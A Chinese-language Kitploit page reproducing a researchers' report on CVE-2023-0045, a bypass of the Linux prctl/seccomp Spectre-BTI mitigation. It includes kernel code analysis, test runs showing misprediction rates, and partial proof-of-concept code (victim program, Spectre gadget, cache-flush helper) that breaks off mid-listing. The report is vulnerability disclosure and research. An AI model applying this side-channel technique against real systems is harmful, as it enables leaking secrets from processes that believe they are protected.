Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-0045 — CVE-2023-0045的PoC和报告:通过BTB中毒和Flush+Reload绕过Linux prctl/seccomp Spectre-BTI缓解措施,泄露进程机密。 | Kitploit
工具/GitHubGitHub/askyeye/cve-2023-0045
漏洞分析漏洞利用硬件安全论文与研究学习与教育二进制利用
GitHubaskyeye/cve-2023-0045

CVE-2023-0045

CVE-2023-0045的PoC和报告:通过BTB中毒和Flush+Reload绕过Linux prctl/seccomp Spectre-BTI缓解措施,泄露进程机密。

查看仓库
34103年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

绕过Linux上的Spectre-BTI用户空间缓解措施

本文档为工作文档,如有错误或遗漏,请向我们提供反馈

版本1.0

José Oliveira (esoj)

Rodrigo Branco (BSDaemon)

引言

在测试Spectre-BTI攻击的成功率时,我们发现使用内核API作为缓解措施时出现了一种奇怪的模式[^1]。我们的测试表明,Linux内核未能正确缓解攻击,导致进程在系统调用后的短时间内仍处于暴露状态。

进一步调查显示,内核在系统调用期间并没有立即发出IBPB。ib_prctl_set[^2]函数会更新任务的线程信息标志位(TIF),并在__speculation_ctrl_update[^3]函数中更新SPEC_CTRL MSR,但IBPB只会在下一次调度时发出(当TIF位被检查时)。这使得受害者在prctl系统调用之前已注入BTB的值仍然易受攻击。只有在任务重新调度后,该行为才会被纠正。此外,在默认场景下(即内核通过retpoline或eIBRS保护自身时),内核入口(由于系统调用本身)并不会发出IBPB。

prctl缓解措施

执行一个prctl来缓解spectre-BTI攻击: prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); 在内核5.15上会调用ib_prctl_set[^2]函数。当使用SPEC_DISABLE选项时,会设置task_set_spec_ib_disable的TIF位,然后调用task_update_spec_tif:

static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

task_set_spec_ib_disable会调用set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);,如果目标任务是当前任务,则会调用speculation_ctrl_update_current();

static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

speculation_ctrl_update_current通过speculation_ctrl_update包装器执行__speculation_ctrl_update,其中tifp = ~tifp。这里会执行用于设置STIBP的wrmsr更新,但不会发出IBPB:

static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

seccomp系统调用也使用ib_prctl_set[^2]作为缓解措施,位于arch_seccomp_spec_mitigate[^4]中,因此使用seccomp也应得到相同的结果。

测试

虽然通过代码分析我们可以确定存在可供利用的窗口,但尚不清楚该窗口是否足够大,以至于受害者加载秘密时攻击者能够将其泄露(因为秘密预计在prctl调用发出之前并不存在于受害者地址空间中)。测试在一台支持硬件缓解措施的裸机上进行,安装了ubuntu 22.04.1 LTS:

Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates IBRS capability:  YES  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * CPU indicates IBPB capability:  YES  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates STIBP capability:  YES  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

测试代码由两个在同一逻辑核心上执行的进程组成。攻击者不断用受害者进程中一个spectre gadget的地址污染BTB。受害者进程通过检查测试变量是否被spectre gadget函数访问,来测量误预测率。通常输出如下:

esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

然后,使用PRCTL来缓解攻击。可以通过在程序开头添加prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);来启用缓解。这预期能缓解spectre-BTI攻击:

PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

然而,一些测试显示了不同的结果:

Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

改变'nice'(优先级)似乎影响了误预测率:

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

这表明prctl仅在下次调度后才保护进程,与代码分析的理解一致。此测试的另一个奇怪行为是,在错误分支之后,推测路径应该被纠正,并且真实值应被写入BTB。由于兄弟线程上没有其他攻击者重新污染BTB,如此高的误预测值出乎意料。

概念验证

为了确保这不是测量误差,我们创建了一个简单的POC。受害代码始终通过一个函数指针执行safe_function,该指针易受spectre-BTI攻击。受害者使用prctl系统调用(在protect_me内部)请求内核保护。受害者还从一个文本文件中加载秘密,表明其他系统调用也不会检查TIF位或触发会强制IBPB的重新调度。

//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}

大多数libc函数被放在攻击者和受害者之间的公共头文件中,这样spectre_gadget和spec函数在受害者和攻击者中共享相同的内存地址(否则会创建.GOT条目,地址会改变)。这不是必须的,还有其他方法可以将分支放在相同地址并模拟受害者上下文,但这种方法更简单。

#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>

char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];

// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}

// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
    volatile char d;
    if ((secret[idx / 8] >> (idx % 8)) & 1)
        d = *addr;
}

// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
    asm volatile(
        "clflush [%0]                   \n"
        :
        : "c"(adrs)
        :);
}

// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
下载工具